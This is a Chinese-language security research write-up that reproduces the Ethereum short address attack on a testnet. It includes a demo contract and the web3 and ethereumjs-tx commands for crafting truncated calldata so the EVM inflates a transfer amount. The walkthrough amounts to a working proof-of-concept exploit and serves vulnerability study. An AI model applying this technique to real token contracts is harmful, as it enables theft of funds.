

遗忘的亚特兰蒂斯：以太坊短地址攻击详解

by yudan@慢雾安全团队

oxoo 概述

说到智能合约漏洞，第一时间映入脑海的可能都是算法溢出，call()函数滥用，假充值等漏洞，毕竟这是在很多智能合约上都有实例，并且危害等级也是比较高的，但是有一个漏洞也许很多人都见过、听过却不是很多人都关心的漏洞，它就像是人类世界的亚特兰蒂斯，很多人知道，却很少有研究报告，Google上能找到的，也不过只是说原理而没有复现实战，有点纸上谈兵的感觉。大家都知道的是这是EVM层面的缺陷，而不是智能合约层面的问题，并且在我们默认的思维里面，这是一个已经被修复的漏洞。前段时间尝试翻查短地址攻击的官方修复方案，但是经过我的搜索，并没有找到相关的修复方案，Github上也扒了一遍，也看不到历史release有相关的修复，于是，我猜，真的是我猜，EVM层面可能并没有修复。

0x01 短地址攻击基础知识

短地址攻击其实就是每个ERC20的合约里面都有一个以下的函数

```
1 function transfer(address _to, uint256 _value) returns (bool success)
```

当对合约的这个函数进行调用的时候，其实在EVM层面来说是传入一串字节码,就像下图这样，可以在Etherscan里面查看每笔交易的inputdata里面的整个函数的调用数据

Actual Tx Cost/Fee: 0.00035103 Ether (\$0.000000)

Nonce & {Position}: 172 | {0}

Input Data:

Function: transferTo(address _to, uint256 _value)

0x2ccb1b300000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd0000000000000000
000000000000000000000000000000007b

View Input As ▾

Decode Input Data ⚙️

传入的字节码一共有136字节(正常来说), 里面包含方法的签名(前4字节), 和传入的参数值(数据部分, 包括传入的

地址数据和金额数据，分别都为32字节，高位补零）。上面这个图是不正常的，只有134字节，这是我经过特殊处理过的，下面我会详细说

从上面的信息我们可以知道，EVM是根据字节码识别传入的参数的，字节码是多少就是多少，也不会去验证。巧了，就是这样，漏洞就产生了，有人就想用不合法的地址，比如地址故意写少后几位，看看EVM会怎么处理，但是又巧了，EVM不仅不会报错，还会“贴心”的帮你地址进行补全操作，怎么补全的呢？就是将地址后面不足的部分，用金额数据部分的位数来补全，比方说你的地址本来是

```
1 0x12345678901234567890123456789012345678901234567800
```

结果由于你心机叵测，故意写少两个0，变成下面这样

```
1 0x12345678901234567890123456789012345678
```

那么“贴心”的EVM就会从字节码中的金额数据部分取两位对地址进行补全，而金额数据部分的前两位又恰好是0，那么就是说你的地址还是原来的地址，但是数据部分就少2位了，怎么办呢？这就不符合ABI的字节数啦，没关系，“贴心”的EVM会将你的金额数据部分从末位开始补0，补到为正常的136字节为止，那么有同学就要问了，如果我的地址有6个0，那么我地址故意写少6个0，是不是数据部分就多了6个0？那不是发财了？

答案就是：你是对的

也就是说，本来填的数据是1，变成字节码后是0x1，如果地址少了6个字节，那么你的data就自动变成0x1000000啦！惊不惊喜，意不意外！

0x02 第一次出师

第一次我尝试使用remix进行复现，但结果是能预料到失败的，如下图，为什么呢？因为这是一个在2017年就被爆出的漏洞，修复方案满天飞，怎么可能那么简单的就让你成功了呢，所以前端肯定会对你的输入的地址进行过滤和检查，想成功，是native的。

```
transact to Test.transferTo errored: Error encoding arguments: Error: in
valid address (arg="", type="string", value="0xdfca6234eb09125632f8f3c71
bf8733073b7cd")
```

```
>
```

但是作为一个搞事情的人，怎么可以轻言放弃，既然没有找到官方修复方案，底层肯定就还有问题的，于是乎，我

只能从最底层开始进行操作，我想到了使用web3进行漏洞复现

0x03 环境准备

- 1、操作系统：macOS
- 2、node : v8.11.0
- 3、web3:1.0.0-beta.36
- 4、rpc:infura
- 5、测试合约的abi
- 6、示例合约：

```
1 pragma solidity ^0.4.24;
2 contract Test{
3     uint totalSupply = 1e18;
4     mapping(address => uint) balance;
5     event TransferTo(address to,uint value);
6     constructor() public {
7         balance[msg.sender] = totalSupply;
8     }
9     function transferTo(address _to,uint _value) public {
10         balance[msg.sender] -= _value;
11         balance[_to] += _value;
12         emit TransferTo(_to,_value);
13     }
14     function BalanceOf(address _owner) view returns(uint){
15         return balance[_owner];
16     }
17 }
```

- 7、使用remix在测试网部署示例合约，获取合约的地址，下面会用到

⚠️ 获取abi的方法：

```
1 solc --abi Test.sol > abi.txt
```

0x04 第二次出师(⚠️ 本次所有操作均在命令行中执行)

- 1、键入 node 进入命令行提示符

- 2、在项目中引入web3并设置provider（怎么下载web3这里不展开说明，有兴趣的可以自己查找，一个很简单的操作）

```
1 var Web3 = require('web3')
```

```
2 var web3 = new Web3(new Web3.providers.HttpProvider('https://kovan.infura.io/v3/<你自己的infura id>'))
```

3、创建合约实例:

```
1 var MyContract = new web3.eth.Contract(abi.txt里面的abi)
```

4、构造方法abi,也就是构造我们上面说的交易里面的inputdata, 由于我们是要构造短地址攻击, 所以我们的地址是要比正常的地址的位数要少的, 为的就是要让EVM用零自动补全缺失的地址, 但是正常的构造是会失败的, 例如下图这样



```
> var abi = MyContract.methods.transferTo('0xdfca6234eb09125632f8f3c71bf8733073b7cd', '123').encodeABI()
Error: invalid address (arg="_to", coderType="address", value="0xdfca6234eb09125632f8f3c71bf8733073b7cd")
    at Object.throwError (/Users/yudan/Test/node_modules/ethers/utils/errors.js:68:17)
    at CoderAddress.encode (/Users/yudan/Test/node_modules/ethers/utils/abi-coder.js:467:20)
    at /Users/yudan/Test/node_modules/ethers/utils/abi-coder.js:605:59
    at Array.forEach (<anonymous>)
    at pack (/Users/yudan/Test/node_modules/ethers/utils/abi-coder.js:604:12)
    at CoderTuple.encode (/Users/yudan/Test/node_modules/ethers/utils/abi-coder.js:764:16)
    at AbiCoder.encode (/Users/yudan/Test/node_modules/ethers/utils/abi-coder.js:897:77)
    at ABICoder.encodeParameters (/Users/yudan/Test/node_modules/web3-eth-abi/src/index.js:96:27)
    at /Users/yudan/Test/node_modules/web3-eth-contract/src/index.js:426:24
    at Array.map (<anonymous>)
    at Object._encodeMethodABI (/Users/yudan/Test/node_modules/web3-eth-contract/src/index.js:425:12)
```

但是, 再次声明一下, 作为一个搞事情的人, 不能轻言放弃! 于是我们需要一点特别的方法, 一开始的时候我到了这里就以为会有检测就不行了, 太天真, 其实是web3的检测, 我们需要一点特别的方法。这个方法分为两步

第一步, 先构造正常的abi, 这次使用的地址是 '0xdfca6234eb09125632f8f3c71bf8733073b7cd00'

```
1 var abi =
  MyContract.methods.transferTo('0xdfca6234eb09125632f8f3c71bf8733073b7cd00', '123').encodeABI()
  //请记住这里我只写了123, 下面有惊喜
```

如图, 现在的abi, 也就是inputdata, 是136字节的。

[illegible]

第二步：使用一个小技巧，将abi里面地址后面的两个零偷偷抹掉，本来是136字节的，现在只有134字节了，也就是我上面说到的不正常的inputdata，就是在这个时候构造出来的

[illegible]

以上就是把零抹掉之后的abi

ok, 一切都准备好之后就可以到最激动人心的时刻了

5、在项目中引入ethereumjs-tx（怎么下载的不详细展开）

```
1 var Tx = require('ethereumjs-tx')
```

6、导入你的私钥并做一些处理:

```
1 privatekey = Buffer('你的私钥', 'hex')
```

7、构造原始交易数据，这是一笔十分原生的以太坊交易数据，每一次的合约调用，其实都会构造下面这一个数据。有关这方面的知识也不详细展开，但是，除了nonce我们是不怎么了解之外，其他都是我们在remix上调用合约的时候会接触到的，有关于nonce的说明，其实就是帐号所发送的交易数量，比方说你的帐号曾经处理过5笔交易，那么nonce就等于4（nonce从0开始），可以在etherscan上查看到你的帐号的最后一笔交易的nonce，以下是具体的交易数据：

[illegible]

8、对交易进行签名和对交易做一点处理

```
1 var transaction = new Tx(parameter)//构建交易
2 transaction.sign(privatekey)//签名方法
3 var serializedTx = transaction.serialize()
```

9、发送交易

```
1 web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
```

0x05 奇迹再现

[illegible]

通过预先设置的event事件我们可以看到，EVM成功补零，输入本来是123，但是EVM提取的结果却是31488，本来的16进制123是0x7b，现在是0x7b00！刺激！

0x06 后记

“贴心”的我在测试网上也布了合约，而且我还验证了，可以在链上查询记录，眼见为实。

<https://kovan.etherscan.io/address/0x6e2f32497a7da13907831544093d3aa335ecbf33#code>

这次的操作，不禁使我想起了飞跃疯人院里面的那句话--But I tried, didn't I? Goddamnit, at least I did that.

0x07 参考资料

web3js 1.0 接口方法(中文手册)

<http://cw.hubwiz.com/card/c/web3.js-1.0/1/2/21/>

短地址攻击详解

<https://zhuanlan.zhihu.com/p/34470071>

有关ABI的详细信息在这里

<https://solidity-cn.readthedocs.io/zh/develop/abi-spec.html>